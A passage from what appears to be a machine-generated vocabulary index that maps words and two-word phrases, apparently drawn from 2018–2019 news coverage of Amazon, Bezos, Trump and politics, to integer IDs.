43319,\n  \"wealthiest\": 43320,\n  \"delightful zany\": 43321,\n  \"officer jon\": 43322,\n  \"classes\": 43323,\n  \"superintendent\": 43324,\n  \"checked specific\": 43325,\n  \"supporter disagree\": 43326,\n  \"amazon hq2s\": 43327,\n  \"protected territory\": 43328,\n  \"essex\": 43329,\n  \"peter\": 43330,\n  \"peterson saks\": 43331,\n  \"embedded video\": 43332,\n  \"ballot catch\": 43333,\n  \"brexit flashpoint\": 43334,\n  \"east west\": 43335,\n  \"reader amazon\": 43336,\n  \"origin congress\": 43337,\n  \"sexually\": 43338,\n  \"advertising today\": 43339,\n  \"vicious anti\": 43340,\n  \"street stocks\": 43341,\n  \"computer code\": 43342,\n  \"opposing new\": 43343,\n  \"harmony tranquility\": 43344,\n  \"carl ichan\": 43345,\n  \"issue resolved\": 43346,\n  \"airport trump\": 43347,\n  \"day set\": 43348,\n  \"patrick sawyer\": 43349,\n  \"local subsidies\": 43350,\n  \"census\": 43351,\n  \"siddiqui yes\": 43352,\n  \"statement reuters\": 43353,\n  \"marcos\": 43354,\n  \"great james\": 43355,\n  \"wide swath\": 43356,\n  \"stalin\": 43357,\n  \"cart onstage\": 43358,\n  \"past criticism\": 43359,\n  \"old physically\": 43360,\n  \"timmins\": 43361,\n  \"illegally funneled\": 43362,\n  \"attacks ford\": 43363,\n  \"sell ivanka\": 43364,\n  \"paranoid style\": 43365,\n  \"morten\": 43366,\n  \"taylor couldn\": 43367,\n  \"meaning divorce\": 43368,\n  \"campaign style\": 43369,\n  \"levy consumption\": 43370,\n  \"reunited\": 43371,\n  \"group list\": 43372,\n  \"responsible investing\": 43373,\n  \"innovator unfortunately\": 43374,\n  \"discrimination saying\": 43375,\n  \"year drop\": 43376,\n  \"disillusionment\": 43377,\n  \"stand guess\": 43378,\n  \"board spot\": 43379,\n  \"addiction\": 43380,\n  \"cite surveillance\": 43381,\n  \"service violates\": 43382,\n  \"amazon possible\": 43383,\n  \"prosperity bomb\": 43384,\n  \"avoidance cnn\": 43385,\n  \"sol\": 43386,\n  \"ceo brad\": 43387,\n  \"kindle pacs\": 43388,\n  \"wrote pay\": 43389,\n  \"nazi party\": 43390,\n  \"smart doorbell\": 43391,\n  \"preparing ahead\": 43392,\n  \"following sexual\": 43393,\n  \"dealmaker join\": 43394,\n  \"commented amazon\": 43395,\n  \"aptly named\": 43396,\n  \"trussell deutsche\": 43397,\n  \"prompted republicans\": 43398,\n  \"rami\": 43399,\n  \"engineers warehouse\": 43400,\n  \"million private\": 43401,\n  \"california playbook\": 43402,\n  \"employees shall\": 43403,\n  \"conservatives\": 43404,\n  \"including aerospace\": 43405,\n  \"earnings announcement\": 43406,\n  \"stored confidential\": 43407,\n  \"large educational\": 43408,\n  \"pig\": 43409,\n  \"friends tell\": 43410,\n  \"collusion\": 43411,\n  \"advocacy companies\": 43412,\n  \"amazon performs\": 43413,\n  \"hits ecommerce\": 43414,\n  \"life follow\": 43415,\n  \"possible overreach\": 43416,\n  \"305vbuonjl thebeat\": 43417,\n  \"commerce going\": 43418,\n  \"related tax\": 43419,\n  \"critic trump\": 43420,\n  \"union amazon\": 43421,\n  \"bluefin tuna\": 43422,\n  \"projects offer\": 43423,\n  \"aws program\": 43424,\n  \"holding\": 43425,\n  \"moonves\": 43426,\n  \"seattle offices\": 43427,\n  \"sick tacoma\": 43428,\n  \"charges sears\": 43429,\n  \"tax refund\": 43430,\n  \"harrer\": 43431,\n  \"2018 editor\": 43432,\n  \"ryan\": 43433,\n  \"alleged hack\": 43434,\n  \"ping ponging\": 43435,\n  \"restricting 2b\": 43436,\n  \"chamayou\": 43437,\n  \"decline caused\": 43438,\n  \"million jews\": 43439,\n  \"washington owns\": 43440,\n  \"politicians president\": 43441,\n  \"box determined\": 43442,\n  \"good portion\": 43443,\n  \"warner planned\": 43444,\n  \"remarks operator\": 43445,\n  \"scandal ridesharing\": 43446,\n  \"ban books\": 43447,\n  \"hermes\": 43448,\n  \"fleeing nazis\": 43449,\n  \"consecutive sessions\": 43450,\n  \"company purchase\": 43451,\n  \"outside vendors\": 43452,\n  \"exterior exlarge\": 43453,\n  \"rock tune\": 43454,\n  \"finally jumped\": 43455,\n  \"policy division\": 43456,\n  \"break bezos\": 43457,\n  \"governance possible\": 43458,\n  \"stealthy\": 43459,\n  \"politics nbc\": 43460,\n  \"secretive discount\": 43461,\n  \"far away\": 43462,\n  \"glamorous\": 43463,\n  \"bath news\": 43464,\n  \"times jon\": 43465,\n  \"democrats captivated\": 43466,\n  \"racist fear\": 43467,\n  \"immediate steps\": 43468,\n  \"595 words\": 43469,\n  \"targeted bezos\": 43470,\n  \"grammy2go\": 43471,\n  \"matthew whitaker\": 43472,\n  \"easing\": 43473,\n  \"minutes mnuchin\": 43474,\n  \"revival returns\": 43475,\n  \"uu related\": 43476,\n  \"stepping\": 43477,\n  \"drama explores\": 43478,\n  \"leading edge\": 43479,\n  \"yerdlljc5t\": 43480,\n  \"mighty leap\": 43481,\n  \"blazes face\": 43482,\n  \"mistress lauran\": 43483,\n  \"yeh girl\": 43484,\n  \"roger scottie\": 43485,\n  \"modestly affected\": 43486,\n  \"president infographic\": 43487,\n  \"fraudulently insinuating\": 43488,\n  \"utm_term image\": 43489,\n  \"ethnic peoples\": 43490,\n  \"party hosted\": 43491,\n  \"2018 source\": 43492,\n  \"midterms ads\": 43493,\n  \"sign netflix\": 43494,\n  \"detailed video\": 43495,\n  \"help rights\": 43496,\n  \"driven lot\": 43497,\n  \"south\": 43498,\n  \"growing momentum\": 43499,\n  \"important technology\": 43500,\n  \"children school\": 43501,\n  \"claims american\": 43502,\n  \"saying looking\": 43503,\n  \"agency works\": 43504,\n  \"advertisers want\": 43505,\n  \"kossowan\": 43506,\n  \"team met\": 43507,\n  \"story large\": 43508,\n  \"swing justice\": 43509,\n  \"lyrics\": 43510,\n  \"830 payouts\": 43511,\n  \"twin counties\": 43512,\n  \"commerce dominance\": 43513,\n  \"2009 plays\": 43514,\n  \"n3x a4ee\": 43515,\n  \"warren booker\": 43516,\n  \"india html\": 43517,\n  \"productivity improvements\": 43518,\n  \"college poll\": 43519,\n  \"helping sellers\": 43520,\n  \"griffeth coke\": 43521,\n  \"going aug\": 43522,\n  \"roger ailes\": 43523,\n  \"tech adviser\": 43524,\n  \"767 freighter\": 43525,\n  \"politicians anti\": 43526,\n  \"pursue price\": 43527,\n  \"current earning\": 43528,\n  \"evangelist billy\": 43529,\n  \"parcels amazon\": 43530,\n  \"wisc\": 43531,\n  \"liquidity\": 43532,\n  \"george hw\": 43533,\n  \"received clemency\": 43534,\n  \"mobile tmus\": 43535,\n  \"cdt copyright\": 43536,\n  \"really noticed\": 43537,\n  \"ben max\": 43538,\n  \"lobby tells\": 43539,\n  \"just today\": 43540,\n  \"foes including\": 43541,\n  \"scorched earth\": 43542,\n  \"overall billion\": 43543,\n  \"afp photo\": 43544,\n  \"states start\": 43545,\n  \"small factor\": 43546,\n  \"press china\": 43547,\n  \"tweeting google\": 43548,\n  \"foley\": 43549,\n  \"sent giant\": 43550,\n  \"bit obviously\": 43551,\n  \"delbianco\": 43552,\n  \"killers newsday\": 43553,\n  \"jedi mean\": 43554,\n  \"police ask\": 43555,\n  \"activities animated\": 43556,\n  \"checkered business\": 43557,\n  \"trends suggest\": 43558,\n  \"bezos battle\": 43559,\n  \"jillian\": 43560,\n  \"counsel don\": 43561,\n  \"standout\": 43562,\n  \"prevent crimes\": 43563,\n  \"actual likelihood\": 43564,\n  \"maxsa says\": 43565,\n  \"abc norwegian\": 43566,\n  \"becker\": 43567,\n  \"galloway calculates\": 43568,\n  \"david chang\": 43569,\n  \"2018 blacq\": 43570,\n  \"things pan\": 43571,\n  \"brussels sprouts\": 43572,\n  \"felt worse\": 43573,\n  \"rome\": 43574,\n  \"jumbo jet\": 43575,\n  \"follower leslie\": 43576,\n  \"dealt blow\": 43577,\n  \"shot sorry\": 43578,\n  \"supposedly prevents\": 43579,\n  \"named xavier\": 43580,\n  \"years roger\": 43581,\n  \"press donald\": 43582,\n  \"frederick ryan\": 43583,\n  \"lebanese traders\": 43584,\n  \"persons starting\": 43585,\n  \"truth sanchez\": 43586,\n  \"eda\": 43587,\n  \"field director\": 43588,\n  \"l5e r4ee\": 43589,\n  \"subscription revenues\": 43590,\n  \"free treatment\": 43591,\n  \"keeps close\": 43592,\n  \"skymed\": 43593,\n  \"naval academy\": 43594,\n  \"expense meals\": 43595,\n  \"casa released\": 43596,\n  \"packages covering\": 43597,\n  \"381 681\": 43598,\n  \"battle posted\": 43599,\n  \"foe new\": 43600,\n  \"minus incremental\": 43601,\n  \"follow structure\": 43602,\n  \"transcends\": 43603,\n  \"trump critics\": 43604,\n  \"natural calamity\": 43605,\n  \"trump reach\": 43606,\n  \"blindspots\": 43607,\n  \"repeatedly downplayed\": 43608,\n  \"antitrust reform\": 43609,\n  \"experience shipping\": 43610,\n  \"null articlebundlehash\": 43611,\n  \"biggest internet\": 43612,\n  \"hire new\": 43613,\n  \"500 employees\": 43614,\n  \"nyse analyst\": 43615,\n  \"prophetic point\": 43616,\n  \"explosive remarks\": 43617,\n  \"having difficulty\": 43618,\n  \"n979746 salacious\": 43619,\n  \"pass broke\": 43620,\n  \"hailing services\": 43621,\n  \"hell hit\": 43622,\n  \"washington major\": 43623,\n  \"indian forests\": 43624,\n  \"violate privacy\": 43625,\n  \"walking faster\": 43626,\n  \"twitter tantrum\": 43627,\n  \"superbugs plague\": 43628,\n  \"blasio saying\": 43629,\n  \"uk royal\": 43630,\n  \"regard netflix\": 43631,\n  \"offline channels\": 43632,\n  \"hathaway brk\": 43633,\n  \"allowing amazon\": 43634,\n  \"free thought\": 43635,\n  \"education stops\": 43636,\n  \"website walmart\": 43637,\n  \"marriages\": 43638,\n  \"toss\": 43639,\n  \"grand sweeping\": 43640,\n  \"say current\": 43641,\n  \"group holding\": 43642,\n  \"interference creates\": 43643,\n  \"probably share\": 43644,\n  \"commerce company\": 43645,\n  \"recently earned\": 43646,\n  \"amazon potentially\": 43647,\n  \"netflix maniac\": 43648,\n  \"members wouldn\": 43649,\n  \"killings\": 43650,\n  \"secret level\": 43651,\n  \"sounds distant\": 43652,\n  \"tweets accuse\": 43653,\n  \"trump ability\": 43654,\n  \"industries produced\": 43655,\n  \"sought stone\": 43656,\n  \"projects continue\": 43657,\n  \"batteries outselling\": 43658,\n  \"city doesn\": 43659,\n  \"kohls\": 43660,\n  \"road improvement\": 43661,\n  \"x5q16 return\": 43662,\n  \"accessories bluefly\": 43663,\n  \"president dilma\": 43664,\n  \"regulate banks\": 43665,\n  \"checkmate\": 43666,\n  \"intellectuals\": 43667,\n  \"anya\": 43668,\n  \"wealth grow\": 43669,\n  \"washington editing\": 43670,\n  \"calitrumpgirl socalred14\": 43671,\n  \"streets journal\": 43672,\n  \"intrigued read\": 43673,\n  \"overseer icann\": 43674,\n  \"news triggered\": 43675,\n  \"tweet aug\": 43676,\n  \"themedia\": 43677,\n  \"garcia bernal\": 43678,\n  \"racy\": 43679,\n  \"edition trump\": 43680,\n  \"aerial filming\": 43681,\n  \"christmas sweaters\": 43682,\n  \"clergy\": 43683,\n  \"online publishing\": 43684,\n  \"colombian president\": 43685,\n  \"amazon goodies\": 43686,\n  \"uksmallbiz ukhashtags\": 43687,\n  \"gabby adler\": 43688,\n  \"59th\": 43689,\n  \"manipulation ethnically\": 43690,\n  \"little flower\": 43691,\n  \"carried\": 43692,\n  \"media behemoth\": 43693,\n  \"quartz share\": 43694,\n  \"encana history\": 43695,\n  \"pulling ahead\": 43696,\n  \"net neutrality\": 43697,\n  \"manager michael\": 43698,\n  \"finally pulled\": 43699,\n  \"trolls president\": 43700,\n  \"morning dave\": 43701,\n  \"minister modi\": 43702,\n  \"approving remarks\": 43703,\n  \"far 2019\": 43704,\n  \"networking companies\": 43705,\n  \"puppet year\": 43706,\n  \"toso\": 43707,\n  \"governmental control\": 43708,\n  \"watch woke\": 43709,\n  \"blue attacks\": 43710,\n  \"scratch\": 43711,\n  \"dumped unlike\": 43712,\n  \"chris bianco\": 43713,\n  \"farmers hope\": 43714,\n  \"trumpets\": 43715,\n  \"judge tried\": 43716,\n  \"deflating traffic\": 43717,\n  \"logging amazon\": 43718,\n  \"facebook really\": 43719,\n  \"run series\": 43720,\n  \"ice agency\": 43721,\n  \"nomura instinet\": 43722,\n  \"taxes risk\": 43723,\n  \"unnerving bald\": 43724,\n  \"pretty high\": 43725,\n  \"irs release\": 43726,\n  \"keith caneiro\": 43727,\n  \"purchase price\": 43728,\n  \"couple disclosed\": 43729,\n  \"media organizations\": 43730,\n  \"microsoft windows\": 43731,\n  \"chairwoman\": 43732,\n  \"nonprofits mijente\": 43733,\n  \"gotenna\": 43734,\n  \"aggressive interrogation\": 43735,\n  \"company published\": 43736,\n  \"drawled\": 43737,\n  \"bezos jeff\": 43738,\n  \"year hq2\": 43739,\n  \"announces robo\": 43740,\n  \"stock tumbles\": 43741,\n  \"companies make\": 43742,\n  \"model electronic\": 43743,\n  \"cmo rajesh\": 43744,\n  \"foley square\": 43745,\n  \"3121 click\": 43746,\n  \"reported china\": 43747,\n  \"based worker\": 43748,\n  \"large immigrant\": 43749,\n  \"migraine\": 43750,\n  \"lifting people\": 43751,\n  \"cushy\": 43752,\n  \"dessert\": 43753,\n  \"yiwu work\": 43754,\n  \"fixation going\": 43755,\n  \"spending away\": 43756,\n  \"new session\": 43757,\n  \"enquirer denies\": 43758,\n  \"corporations sanders\": 43759,\n  \"facility yesterday\": 43760,\n  \"russian\": 43761,\n  \"neutral globaldata\": 43762,\n  \"huntington national\": 43763,\n  \"company contract\": 43764,\n  \"knot\": 43765,\n  \"acquiring previous\": 43766,\n  \"amasses\": 43767,\n  \"beatty\": 43768,\n  \"elaborating\": 43769,\n  \"q8 function\": 43770,\n  \"consider separating\": 43771,\n  \"photos hinting\": 43772,\n  \"nuclear bombs\": 43773,\n  \"group mijente\": 43774,\n  \"amy irving\": 43775,\n  \"teased story\": 43776,\n  \"year agree\": 43777,\n  \"wasn working\": 43778,\n  \"big jump\": 43779,\n  \"court documents\": 43780,\n  \"supermicro china\": 43781,\n  \"blue apron\": 43782,\n  \"zakim\": 43783,\n  \"dogma\": 43784,\n  \"recourse\": 43785,\n  \"reputation jonathan\": 43786,\n  \"method brought\": 43787,\n  \"debacles\": 43788,\n  \"2fnationworld\": 43789,\n  \"trump hair\": 43790,\n  \"chair sen\": 43791,\n  \"paul schrader\": 43792,\n  \"company beat\": 43793,\n  \"stunning investigative\": 43794,\n  \"giants join\": 43795,\n  \"outstripped\": 43796,\n  \"fagna griffeth\": 43797,\n  \"fevered logic\": 43798,\n  \"investment wrote\": 43799,\n  \"says child\": 43800,\n  \"ted olson\": 43801,\n  \"afternoon serving\": 43802,\n  \"incentive letter\": 43803,\n  \"wield influence\": 43804,\n  \"products 2018\": 43805,\n  \"experience moody\": 43806,\n  \"search technology\": 43807,\n  \"sell counterfeits\": 43808,\n  \"direction doesn\": 43809,\n  \"marketwatch tight\": 43810,\n  \"walmart agrees\": 43811,\n  \"cramer\": 43812,\n  \"key documents\": 43813,\n  \"career officer\": 43814,\n  \"bumbling effort\": 43815,\n  \"lack\": 43816,\n  \"husband prince\": 43817,\n  \"agency bee\": 43818,\n  \"kmb did\": 43819,\n  \"average trendline\": 43820,\n  \"topped million\": 43821,\n  \"counsel cameron\": 43822,\n  \"foto men\": 43823,\n  \"survey\": 43824,\n  \"200 mccann\": 43825,\n  \"matt phillips\": 43826,\n  \"standard bearer\": 43827,\n  \"genders\": 43828,\n  \"news clippings\": 43829,\n  \"service proposes\": 43830,\n  \"journal reports\": 43831,\n  \"previously tweeted\": 43832,\n  \"2013 schwietzer\": 43833,\n  \"gonna\": 43834,\n  \"unwritten rules\": 43835,\n  \"sapling trees\": 43836,\n  \"connected devices\": 43837,\n  \"memphis spent\": 43838,\n  \"home oppo\": 43839,\n  \"trump crosses\": 43840,\n  \"fantasy flick\": 43841,\n  \"people seeking\": 43842,\n  \"skate\": 43843,\n  \"trump tweets\": 43844,\n  \"floor decor\": 43845,\n  \"best sports\": 43846,\n  \"waiting months\": 43847,\n  \"provisions\": 43848,\n  \"championship winning\": 43849,\n  \"bargaining energy\": 43850,\n  \"unloading boxes\": 43851,\n  \"actually compares\": 43852,\n  \"melissa carter\": 43853,\n  \"hillary\": 43854,\n  \"rep meng\": 43855,\n  \"cnnpolitical commentator\": 43856,\n  \"68bil according\": 43857,\n  \"consumption tax\": 43858,\n  \"anti cartel\": 43859,\n  \"dorsey held\": 43860,\n  \"subsidies don\": 43861,\n  \"secretly whispered\": 43862,\n  \"mind investigators\": 43863,\n  \"site alibaba\": 43864,\n  \"snap\": 43865,\n  \"washington foundations\": 43866,\n  \"previously reached\": 43867,\n  \"nooyi\": 43868,\n  \"getting player\": 43869,\n  \"money including\": 43870,\n  \"cat videos\": 43871,\n  \"employees absurd\": 43872,\n  \"watch science\": 43873,\n  \"good sense\": 43874,\n  \"dream seeking\": 43875,\n  \"shadow effects\": 43876,\n  \"capacities\": 43877,\n  \"ceo 2019\": 43878,\n  \"citizens budget\": 43879,\n  \"election campaigning\": 43880,\n  \"issued presidential\": 43881,\n  \"revenue alternative\": 43882,\n  \"trump weighs\": 43883,\n  \"catalog shippers\": 43884,\n  \"valley liberal\": 43885,\n  \"tech media\": 43886,\n  \"just royally\": 43887,\n  \"posits\": 43888,\n  \"house earlier\": 43889,\n  \"relied\": 43890,\n  \"administration saying\": 43891,\n  \"brings viable\": 43892,\n  \"spokeswoman did\": 43893,\n  \"l2 a2\": 43894,\n  \"network united\": 43895,\n  \"obama supply\": 43896,\n  \"phone business\": 43897,\n  \"melchiorre\": 43898,\n  \"men living\": 43899,\n  \"expose media\": 43900,\n  \"anqi shen\": 43901,\n  \"environment 2018\": 43902,\n  \"little time\": 43903,\n  \"pumpkins\": 43904,\n  \"major pay\": 43905,\n  \"totaling 610\": 43906,\n  \"case outside\": 43907,\n  \"film balzer\": 43908,\n  \"school closed\": 43909,\n  \"harmful uv\": 43910,\n  \"midterms midterms\": 43911,\n  \"crash kills\": 43912,\n  \"trump idiotic\": 43913,\n  \"schultz billionaires\": 43914,\n  \"holdover crony\": 43915,\n  \"corrupt politicians\": 43916,\n  \"st george\": 43917,\n  \"unpopular\": 43918,\n  \"rosiest\": 43919,\n  \"record straight\": 43920,\n  \"184 billion\": 43921,\n  \"wire fraud\": 43922,\n  \"trade winds\": 43923,\n  \"margins 2018\": 43924,\n  \"responded favorable\": 43925,\n  \"core retail\": 43926,\n  \"blasted amazon\": 43927,\n  \"income rents\": 43928,\n  \"aerospace company\": 43929,\n  \"vast investigation\": 43930,\n  \"eruption severe\": 43931,\n  \"a380 feels\": 43932,\n  \"copyright mmxviii\": 43933,\n  \"amid broader\": 43934,\n  \"second corporation\": 43935,\n  \"1536750001\": 43936,\n  \"reportedly lobbied\": 43937,\n  \"coney barrett\": 43938,\n  \"particularly politically\": 43939,\n  \"dreams\": 43940,\n  \"310 words\": 43941,\n  \"industry gumball\": 43942,\n  \"science blue\": 43943,\n  \"howallusb\": 43944,\n  \"shoddy service\": 43945,\n  \"site unit\": 43946,\n  \"compromising selfies\": 43947,\n  \"way refn\": 43948,\n  \"goods 2018\": 43949,\n  \"authortwitter\": 43950,\n  \"cardi bet\": 43951,\n  \"york huge\": 43952,\n  \"oblivious\": 43953,\n  \"bezos threatened\": 43954,\n  \"mother says\": 43955,\n  \"led sanctions\": 43956,\n  \"just weeks\": 43957,\n  \"repairs\": 43958,\n  \"380 billion\": 43959,\n  \"faces criticism\": 43960,\n  \"adviser john\": 43961,\n  \"woodside told\": 43962,\n  \"credit heather\": 43963,\n  \"kind words\": 43964,\n  \"great work\": 43965,\n  \"trade negotiator\": 43966,\n  \"day carney\": 43967,\n  \"ap stock\": 43968,\n  \"incremental movements\": 43969,\n  \"disease study\": 43970,\n  \"today accuses\": 43971,\n  \"living lab\": 43972,\n  \"turnonflashmessaging true\": 43973,\n  \"forcibly\": 43974,\n  \"nsa certainly\": 43975,\n  \"egomaniacal\": 43976,\n  \"hourly workers\": 43977,\n  \"title\": 43978,\n  \"commerce tax\": 43979,\n  \"delay\": 43980,\n  \"york cut\": 43981,\n  \"insane logic\": 43982,\n  \"new instagram\": 43983,\n  \"gives chinese\": 43984,\n  \"told newspaper\": 43985,\n  \"woke puppeteer\": 43986,\n  \"market plunged\": 43987,\n  \"called shmuck\": 43988,\n  \"hippy husband\": 43989,\n  \"amazon rivalry\": 43990,\n  \"library combined\": 43991,\n  \"twitter instagram\": 43992,\n  \"suspicious disappearance\": 43993,\n  \"syrian border\": 43994,\n  \"media previously\": 43995,\n  \"trump palantir\": 43996,\n  \"pictures photos\": 43997,\n  \"renda\": 43998,\n  \"wage raises\": 43999,\n  \"democrat jared\": 44000,\n  \"nephews\": 44001,\n  \"hand according\": 44002,\n  \"fuck deedee\": 44003,\n  \"debate apple\": 44004,\n  \"clearing critics\": 44005,\n  \"female faces\": 44006,\n  \"tjl market\": 44007,\n  \"personal nature\": 44008,\n  \"house china\": 44009,\n  \"odalisque\": 44010,\n  \"air logistics\": 44011,\n  \"popular sununu\": 44012,\n  \"ordinated attacks\": 44013,\n  \"canadian steel\": 44014,\n  \"cbs nyse\": 44015,\n  \"cowen washington\": 44016,\n  \"coincidently\": 44017,\n  \"width 100\": 44018,\n  \"midnight tell\": 44019,\n  \"random disguise\": 44020,\n  \"started including\": 44021,\n  \"action forces\": 44022,\n  \"successfully list\": 44023,\n  \"community board\": 44024,\n  \"operate nah\": 44025,\n  \"deride\": 44026,\n  \"continental advisors\": 44027,\n  \"strange visions\": 44028,\n  \"precarious time\": 44029,\n  \"colocation northwest\": 44030,\n  \"missouri plant\": 44031,\n  \"annually added\": 44032,\n  \"establishing\": 44033,\n  \"retailer deal\": 44034,\n  \"subscriptions doubled\": 44035,\n  \"customs\": 44036,\n  \"snl spoofs\": 44037,\n  \"hett\": 44038,\n  \"really fight\": 44039,\n  \"wing progressives\": 44040,\n  \"great satire\": 44041,\n  \"named gavin\": 44042,\n  \"judge district\": 44043,\n  \"mcmillon walmart\": 44044,\n  \"bleak retail\": 44045,\n  \"defeat lexington\": 44046,\n  \"amazon susceptible\": 44047,\n  \"force headed\": 44048,\n  \"tension words\": 44049,\n  \"nbc cnn\": 44050,\n  \"sports illustrated\": 44051,\n  \"uncertain path\": 44052,\n  \"allegations minutes\": 44053,\n  \"parents joem\": 44054,\n  \"msm\": 44055,\n  \"acreage holdings\": 44056,\n  \"wish book\": 44057,\n  \"20america 20great\": 44058,\n  \"97th\": 44059,\n  \"war rivals\": 44060,\n  \"1992 operation\": 44061,\n  \"set nearly\": 44062,\n  \"progressive candidates\": 44063,\n  \"adviser robert\": 44064,\n  \"amazon breakup\": 44065,\n  \"stereotypes\": 44066,\n  \"trumplighthizer says\": 44067,\n  \"democrats seeking\": 44068,\n  \"dead early\": 44069,\n  \"click jeff\": 44070,\n  \"corporate data\": 44071,\n  \"human services\": 44072,\n  \"new plans\": 44073,\n  \"nongovernmental agencies\": 44074,\n  \"look think\": 44075,\n  \"hectic tale\": 44076,\n  \"weirdralph\": 44077,\n  \"important document\": 44078,\n  \"unlikely meeting\": 44079,\n  \"products imported\": 44080,\n  \"senate wide\": 44081,\n  \"scott lamb\": 44082,\n  \"early trade\": 44083,\n  \"revelations spokesman\": 44084,\n  \"heil\": 44085,\n  \"chided journalists\": 44086,\n  \"aging\": 44087,\n  \"moneygram\": 44088,\n  \"kicking sand\": 44089,\n  \"argue quite\": 44090,\n  \"sneakily building\": 44091,\n  \"list ensemble\": 44092,\n  \"fact charges\": 44093,\n  \"cnn david\": 44094,\n  \"just leaked\": 44095,\n  \"british trade\": 44096,\n  \"h4e settimeout\": 44097,\n  \"cardboard\": 44098,\n  \"school yard\": 44099,\n  \"sold 925\": 44100,\n  \"bloomberg bootstrapper\": 44101,\n  \"ownership questions\": 44102,\n  \"chinnappa\": 44103,\n  \"tax collections\": 44104,\n  \"howard don\": 44105,\n  \"junckers secret\": 44106,\n  \"previous session\": 44107,\n  \"fable\": 44108,\n  \"trumponomics\": 44109,\n  \"ap major\": 44110,\n  \"600m\": 44111,\n  \"growth questions\": 44112,\n  \"labor model\": 44113,\n  \"snapchat fumbles\": 44114,\n  \"writing hero\": 44115,\n  \"ms daniels\": 44116,\n  \"parliament\": 44117,\n  \"year netflix\": 44118,\n  \"post sanchez\": 44119,\n  \"solid work\": 44120,\n  \"scholar alan\": 44121,\n  \"rate greater\": 44122,\n  \"just series\": 44123,\n  \"says cheating\": 44124,\n  \"hq2 given\": 44125,\n  \"friends excited\": 44126,\n  \"syndicate masquerading\": 44127,\n  \"tips\": 44128,\n  \"tighten\": 44129,\n  \"getty_623710176_388104 jpg\": 44130,\n  \"ami bought\": 44131,\n  \"demanding pay\": 44132,\n  \"amazon perfectly\": 44133,\n  \"online exclusive\": 44134,\n  \"pretty obvious\": 44135,\n  \"started trending\": 44136,\n  \"motivated ploy\": 44137,\n  \"misusing\": 44138,\n  \"major impacts\": 44139,\n  \"labeling promise\": 44140,\n  \"algorithm\": 44141,\n  \"businesswomen\": 44142,\n  \"cable amazon\": 44143,\n  \"government retaliation\": 44144,\n  \"costs new\": 44145,\n  \"themacrotourist\": 44146,\n  \"worst market\": 44147,\n  \"small amounts\": 44148,\n  \"measure titled\": 44149,\n  \"commission nominating\": 44150,\n  \"shape going\": 44151,\n  \"capitalist enterprise\": 44152,\n  \"amazon hero\": 44153,\n  \"companies think\": 44154,\n  \"makes superstar\": 44155,\n  \"california frequently\": 44156,\n  \"oyster\": 44157,\n  \"playwright nick\": 44158,\n  \"swift capitulation\": 44159,\n  \"mkts\": 44160,\n  \"hacking claims\": 44161,\n  \"amzn currently\": 44162,\n  \"yeah twitter\": 44163,\n  \"global advisors\": 44164,\n  \"taxes article\": 44165,\n  \"william howard\": 44166,\n  \"uhhhh\": 44167,\n  \"rodeo\": 44168,\n  \"hallmarks\": 44169,\n  \"trump bit\": 44170,\n  \"government amazon\": 44171,\n  \"staggering 175\": 44172,\n  \"trust ken\": 44173,\n  \"commerce bsquare\": 44174,\n  \"cards debuts\": 44175,\n  \"private texts\": 44176,\n  \"amazon rent\": 44177,\n  \"missives online\": 44178,\n  \"trade india\": 44179,\n  \"told police\": 44180,\n  \"thirds majority\": 44181,\n  \"gonzalez told\": 44182,\n  \"martin\": 44183,\n  \"enforcement officials\": 44184,\n  \"1993 marriage\": 44185,\n  \"number sold\": 44186,\n  \"nasdaq tur\": 44187,\n  \"gingrich trump\": 44188,\n  \"inappropriate means\": 44189,\n  \"beautiful tribute\": 44190,\n  \"ran using\": 44191,\n  \"far\": 44192,\n  \"takes things\": 44193,\n  \"associations law\": 44194,\n  \"thomas keller\": 44195,\n  \"wa c0\": 44196,\n  \"senate minority\": 44197,\n  \"staunch conservative\": 44198,\n  \"trumpist peter\": 44199,\n  \"resignations\": 44200,\n  \"absolutely win\": 44201,\n  \"trades council\": 44202,\n  \"inexpensively\": 44203,\n  \"truth readers\": 44204,\n  \"report contains\": 44205,\n  \"district district\": 44206,\n  \"jonathan gold\": 44207,\n  \"department dod\": 44208,\n  \"hulu drama\": 44209,\n  \"crimes\": 44210,\n  \"schools parks\": 44211,\n  \"sneakers\": 44212,\n  \"neosho\": 44213,\n  \"deadly home\": 44214,\n  \"getting local\": 44215,\n  \"gain valuation\": 44216,\n  \"reo\": 44217,\n  \"government according\": 44218,\n  \"marcelo teixeira\": 44219,\n  \"adler bloomberg\": 44220,\n  \"pr people\": 44221,\n  \"say facebook\": 44222,\n  \"point drop\": 44223,\n  \"sustained volley\": 44224,\n  \"unnamed journalist\": 44225,\n  \"trump referring\": 44226,\n  \"great audio\": 44227,\n  \"original projections\": 44228,\n  \"person prefer\": 44229,\n  \"announced partnership\": 44230,\n  \"judges concerned\": 44231,\n  \"judge says\": 44232,\n  \"headlines immediately\": 44233,\n  \"361 shares\": 44234,\n  \"transitioned\": 44235,\n  \"issue raises\": 44236,\n  \"mayoral race\": 44237,\n  \"business cnn\": 44238,\n  \"driverless car\": 44239,\n  \"consider using\": 44240,\n  \"reason peter\": 44241,\n  \"media apps\": 44242,\n  \"year neowin\": 44243,\n  \"onsite utm_campaign\": 44244,\n  \"9oos0ph7qb\": 44245,\n  \"total job\": 44246,\n  \"bank positions\": 44247,\n  \"york newly\": 44248,\n  \"cast want\": 44249,\n  \"bezos referring\": 44250,\n  \"protesters mob\": 44251,\n  \"human knowledge\": 44252,\n  \"investing business\": 44253,\n  \"statement attached\": 44254,\n  \"point gain\": 44255,\n  \"profession advertisement\": 44256,\n  \"infamously ruled\": 44257,\n  \"rock picking\": 44258,\n  \"given royalties\": 44259,\n  \"trump risks\": 44260,\n  \"decrease profit\": 44261,\n  \"insolvency\": 44262,\n  \"manufacturing data\": 44263,\n  \"challenge challenge\": 44264,\n  \"terrific people\": 44265,\n  \"735 starbucks\": 44266,\n  \"tennessee mississippi\": 44267,\n  \"approached verbally\": 44268,\n  \"wonderful futures\": 44269,\n  \"kushal\": 44270,\n  \"hope hicks\": 44271,\n  \"netflix nasa\": 44272,\n  \"showed set\": 44273,\n  \"robot vainly\": 44274,\n  \"trump investigations\": 44275,\n  \"ongoing military\": 44276,\n  \"fully support\": 44277,\n  \"awful smell\": 44278,\n  \"splc extremist\": 44279,\n  \"seinfeld amazon\": 44280,\n  \"denies slanderous\": 44281,\n  \"frequent amazon\": 44282,\n  \"trump horrific\": 44283,\n  \"ford accusation\": 44284,\n  \"academy graduation\": 44285,\n  \"online sex\": 44286,\n  \"improperly seek\": 44287,\n  \"tied closely\": 44288,\n  \"mike schade\": 44289,\n  \"worldcupupdates\": 44290,\n  \"leading online\": 44291,\n 